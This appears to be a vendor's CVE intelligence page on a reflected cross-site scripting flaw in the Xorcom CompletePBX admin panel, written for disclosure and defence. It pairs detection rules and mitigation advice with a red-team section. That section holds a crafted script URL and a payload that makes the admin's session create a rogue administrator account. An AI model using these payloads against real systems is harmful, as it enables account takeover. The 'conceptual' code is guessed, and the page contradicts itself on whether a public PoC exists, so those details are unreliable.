☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 6.1 CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-30006

CVE-2025-30006 Cross-Site Scripting in Xorcom
📅 PUBLISHED: 2025-03-31 16:49 UTC 🔄 UPDATED: 2026-08-12 14:52 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.27%
👁️
0.27% probability
6.7× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 6.1
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: R User Interaction Required
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: N Availability None
6.1
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-30006 identifies a reflected cross-site scripting (XSS) vulnerability in the administrative control panel of Xorcom CompletePBX. This flaw allows an unauthenticated attacker to inject arbitrary JavaScript into a reflected response, potentially leading to session hijacking, credential theft, or administrative actions on behalf of a logged-in admin. The vulnerability affects all versions prior to 5.2.35. With a CVSS score of 6.1 (Medium), the risk is elevated due to the lack of authentication required for exploitation and the high privileges of the target interface. No public proof-of-concept or exploit code has been released, but the vulnerability is confirmed by the vendor advisory.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

CVSS Breakdown & Threat Level

  • Attack Vector (AV): Network (N) – Exploitable remotely.
  • Attack Complexity (AC): Low (L) – No special conditions required.
  • Privileges Required (PR): None (N) – No authentication needed to trigger the XSS.
  • User Interaction (UI): Required (R) – Victim must click a crafted link.
  • Scope (SC): Changed (C) – The injected script can affect resources beyond the vulnerable component.
  • Confidentiality (C): Low (L) – Limited data exposure.
  • Integrity (I): Low (L) – Limited ability to modify data.
  • Availability (A): None (N) – No impact on availability.

Threat Level: Medium. The XSS is reflected and requires user interaction, but the administrative context makes it dangerous for privilege escalation.

Deep Dive & Mechanics

The vulnerability resides in the administrative web interface of CompletePBX. The application fails to properly sanitize user-supplied input in a specific parameter before reflecting it in the HTTP response. An attacker can craft a malicious URL containing JavaScript payloads. When an authenticated administrator clicks the link, the script executes in the context of the admin session, allowing the attacker to:

  • Steal session cookies.
  • Perform administrative actions (e.g., add users, modify configurations).
  • Redirect to phishing pages.
  • Execute further attacks against internal network resources.

The root cause is insufficient output encoding in the administrative panel's response handling. The application likely uses a templating engine that does not escape HTML entities by default, or the developer manually inserted user input without proper sanitization.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

// In a PHP controller
$param = $_GET['page'];
echo "<div class='content'>" . $param . "</div>";

Patched Code (Conceptual):

// Properly escape output
$param = htmlspecialchars($_GET['page'], ENT_QUOTES, 'UTF-8');
echo "<div class='content'>" . $param . "</div>";

The patch in version 5.2.35 likely implements proper output encoding for all user-controlled parameters in the admin panel.

Exploitation & Lab Setup

Red Team

Lab Setup:

  1. Deploy Xorcom CompletePBX version 5.2.34 in a virtualized environment.
  2. Access the admin panel at https://<target>/admin/.
  3. Identify the vulnerable parameter (e.g., page, error, msg).

Exploitation Steps:

  1. Craft a malicious URL:
    https://<target>/admin/index.php?page=<script>alert('XSS')</script>
    
  2. Send the link to an authenticated admin via email or social engineering.
  3. When the admin clicks, the script executes.

Advanced Payload:

<script>
fetch('/admin/config.php?action=add_user&username=attacker&password=evilpass&role=admin');
</script>

Blue Team

Detection:

  • Monitor for unusual URL parameters containing <script>, onerror, onload, or base64-encoded JavaScript.
  • Alert on admin panel access from unexpected IPs or user agents.
  • Use web application firewalls (WAF) to block reflected XSS patterns.

Mitigation:

  • Immediately upgrade to version 5.2.35 or later.
  • If patching is not possible, implement a WAF rule to block reflected XSS.
  • Restrict admin panel access to trusted IPs only.
  • Enforce Content Security Policy (CSP) headers.

Indicators of Compromise (IOCs)

  • Network IOCs:
    • HTTP requests to /admin/ with parameters containing <script> or javascript:.
    • Outbound connections to attacker-controlled domains from the PBX server.
  • File IOCs:
    • Suspicious entries in web server logs (e.g., GET /admin/index.php?page=<script>...).
  • Behavioral IOCs:
    • Unauthorized admin user creation.
    • Unexpected configuration changes in the PBX.

Detection Engineering

YARA Rule

rule CVE_2025_30006_XSS_Reflected {
    meta:
        description = "Detects reflected XSS attempts against Xorcom CompletePBX admin panel"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-30006"
    strings:
        $xss1 = "<script>" nocase
        $xss2 = "onerror=" nocase
        $xss3 = "onload=" nocase
        $xss4 = "javascript:" nocase
        $admin_path = "/admin/" nocase
    condition:
        any of ($xss*) and $admin_path
}

Sigma Rule

title: Reflected XSS Attempt Against Xorcom CompletePBX Admin
id: 8a3f7c2e-5d1b-4a9f-8c6e-2b1d3f4a5c6e
status: experimental
description: Detects reflected XSS payloads in HTTP requests to CompletePBX admin panel
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains:
            - '<script>'
            - 'onerror='
            - 'onload='
            - 'javascript:'
        cs-uri-stem|contains: '/admin/'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in admin panel (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-30006 Reflected XSS in Xorcom CompletePBX Admin"; flow:to_server,established; content:"/admin/"; http_uri; content:"<script>"; http_uri; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

  1. Immediate Action: Upgrade to Xorcom CompletePBX version 5.2.35 or later.
  2. Workaround: If patching is delayed, implement a WAF rule to block reflected XSS patterns.
  3. Long-term: Conduct a security audit of the admin panel for other injection flaws.
  4. Monitoring: Enable detailed logging for the admin panel and review logs for suspicious activity.
  5. Training: Educate administrators about phishing attacks targeting the PBX.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

Xorcom CompletePBX
CompletePBX admin
Xorcom PBX

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-30006/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.